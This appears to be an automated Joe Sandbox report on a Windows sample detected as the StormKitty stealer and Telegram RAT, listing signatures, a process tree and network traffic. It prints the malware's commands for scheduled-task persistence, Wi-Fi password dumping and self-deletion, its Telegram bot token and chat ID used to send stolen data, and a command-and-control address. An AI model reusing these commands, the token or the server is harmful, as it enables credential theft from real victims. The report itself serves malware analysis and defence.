Edit tour

Windows Analysis Report
HTZ4az17lj.exe

Overview

General Information

Sample name:	HTZ4az17lj.exe renamed because original name is a hash value
Original sample name:	ceb9e6829d00ad6e8f25b30d77aba83f.exe
Analysis ID:	1426719
MD5:	ceb9e6829d00ad6e8f25b30d77aba83f
SHA1:	865128c3a9baee65deeab14f1fdc9a68969df6f4
SHA256:	664582c7357c0ea9f0f6ab524867e1cce887251b11e917ba5c9d81247e57bcb1
Tags:	exe
Infos:

Detection

StormKitty

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected StormKitty Stealer

Yara detected Telegram RAT

.NET source code contains potential unpacker

Contains functionality to capture screen (.Net source)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious desktop.ini Action

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

HTZ4az17lj.exe (PID: 6044 cmdline: "C:\Users\user\Desktop\HTZ4az17lj.exe" MD5: CEB9E6829D00AD6E8F25B30D77ABA83F)

schtasks.exe (PID: 1492 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 3480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1952,i,15724053339194688930,12067670684069383472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 5148 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4140 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5 MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8084 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8140 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 8156 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 8168 cmdline: findstr All MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 7584 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 348 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 3840 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 1784 cmdline: "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5680 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

taskkill.exe (PID: 7608 cmdline: TaskKill /F /IM 6044 MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

timeout.exe (PID: 4140 cmdline: Timeout /T 2 /Nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

uuhbr0xg.h20.exe (PID: 7832 cmdline: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe MD5: CEB9E6829D00AD6E8F25B30D77ABA83F)

schtasks.exe (PID: 7928 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 8180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1980,i,12318035346667771544,14619284953737115548,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 8132 cmdline: "schtasks.exe" /query /TN WinTask MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 21253, "from": {"id": 5444063802, "is_bot": true, "first_name": "quakerz", "username": "quakerz_bot"}, "chat": {"id": 1126217452, "first_name": "N3cro", "last_name": "M4ncer", "username": "N3croM4nc", "type": "private"}, "date": 1713270426, "document": {"file_name": "6D97C624D7.zip", "mime_type": "application/zip", "file_id": "BQACAgQAAxkDAAJTBWYebpqW0XKCOs9qCDAvOdaEpasdAALNEgACWmPwUGx3NPjDAAF9ZzQE", "file_unique_id": "AgADzRIAAlpj8FA", "file_size": 196894}}}]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x60404:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x69b74:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: HTZ4az17lj.exe PID: 6044	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: HTZ4az17lj.exe PID: 6044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HTZ4az17lj.exe PID: 6044	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: HTZ4az17lj.exe PID: 6044	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x65642:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x65692:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x6815e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\HTZ4az17lj.exe", ParentImage: C:\Users\user\Desktop\HTZ4az17lj.exe, ParentProcessId: 6044, ParentProcessName: HTZ4az17lj.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5, ProcessId: 4140, ProcessName: schtasks.exe

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\HTZ4az17lj.exe, ProcessId: 6044, TargetFilename: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HTZ4az17lj.exe", ParentImage: C:\Users\user\Desktop\HTZ4az17lj.exe, ParentProcessId: 6044, ParentProcessName: HTZ4az17lj.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 8084, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: HTZ4az17lj.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe

Avira: detection malicious, Label: HEUR/AGEN.1313362

Found malware configuration

Source: HTZ4az17lj.exe.6044.0.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendMessage", "Telegram Stream": [{"ok": true, "result": {"message_id": 21253, "from": {"id": 5444063802, "is_bot": true, "first_name": "quakerz", "username": "quakerz_bot"}, "chat": {"id": 1126217452, "first_name": "N3cro", "last_name": "M4ncer", "username": "N3croM4nc", "type": "private"}, "date": 1713270426, "document": {"file_name": "6D97C624D7.zip", "mime_type": "application/zip", "file_id": "BQACAgQAAxkDAAJTBWYebpqW0XKCOs9qCDAvOdaEpasdAALNEgACWmPwUGx3NPjDAAF9ZzQE", "file_unique_id": "AgADzRIAAlpj8FA", "file_size": 196894}}}]}

Multi AV Scanner detection for domain / URL

Source: http://128.199.113.162/XtfcshEgt/upwawsfrg.php?zd=1	Virustotal: Detection: 9%	Perma Link
Source: http://128.199.113.162/XtfcshEgt/upwawsfrg.php	Virustotal: Detection: 9%	Perma Link
Source: http://128.199.113.162	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Virustotal: Detection: 55%			Perma Link

Multi AV Scanner detection for submitted file

Source: HTZ4az17lj.exe	ReversingLabs: Detection: 44%
Source: HTZ4az17lj.exe	Virustotal: Detection: 55%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: HTZ4az17lj.exe

Joe Sandbox ML: detected

Source: file:///C:/Users/user/AppData/Local/Temp/p.html

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49724 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49727 version: TLS 1.2

Source: HTZ4az17lj.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126217452 HTTP/1.1Content-Type: multipart/form-data; boundary="b0e207a3-07fa-498b-b8fa-a48a2fe21eb9"Host: api.telegram.orgContent-Length: 197085Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49724 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 128.199.113.162

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9pAT4RKKfEeELv4&MD=nfkaylzL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9pAT4RKKfEeELv4&MD=nfkaylzL HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /XtfcshEgt/upwawsfrg.php?zd=1 HTTP/1.1Cookie: SESSION=Gcj+h91LeJxqEAdq3hlnr5vILKnhsk514dxtp+No3JD7QBgj4catKb4KZZoEe7n0ZQHfUqB4+LRcnLZpCNm+vlRVwAlzuGF/Ogb31zT1/J+v/tG52kIlGXwrBCWsk0XIUZPNK8kN4FIXgHizyKTrvIpZz3YVByuSV3l6JFK2KVQP4VecvhvlHdWlS3UQ3xdHQ8j9KcN4s7UAumu1CgmZyH0yDEijiEEFO2qYchSihH2HLA6McZ2qghDxmjavG0Wz3soCffYWADkZqOeAv4RewsFkOlVJuf/SiScZljMLny+gsCdQWKnRqXZJPmRDp5DQsAH7VTTYRrINKSibONStNYaRZFHiK6XnbaEMnI6zUser-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0Host: 128.199.113.162
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: URL:https://www.facebook.com/<br> equals www.facebook.com (Facebook)
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: URL:https://www.facebook.com/login.php<br> equals www.facebook.com (Facebook)

Source: unknown

DNS traffic detected: queries for: 229.116.3.0.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126217452 HTTP/1.1Content-Type: multipart/form-data; boundary="b0e207a3-07fa-498b-b8fa-a48a2fe21eb9"Host: api.telegram.orgContent-Length: 197085Expect: 100-continueConnection: Keep-Alive

Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.113.162
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.00000256801F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199.113.162/XtfcshEgt/upwawsfrg.php
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://128.199H
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.00000295806A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://app.turboboy.co/users
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.000002568026C000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://softdepotsupport.com/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://softwaredepotdesk.com/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://www.instructables.com/id/DIY-Chess-Board/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://www.woodsmithlibrary.com/login/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://www.woodsmithshop.com/account/login/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://www.woodsmithvideoedition.com/account/login/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: http://www.woodsmithvideotips.com/home
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://account.formula1.com/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://accounts.google.com/ServiceLoginAuth
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://accounts.google.com/signin/v2/sl/pwd
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp, HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
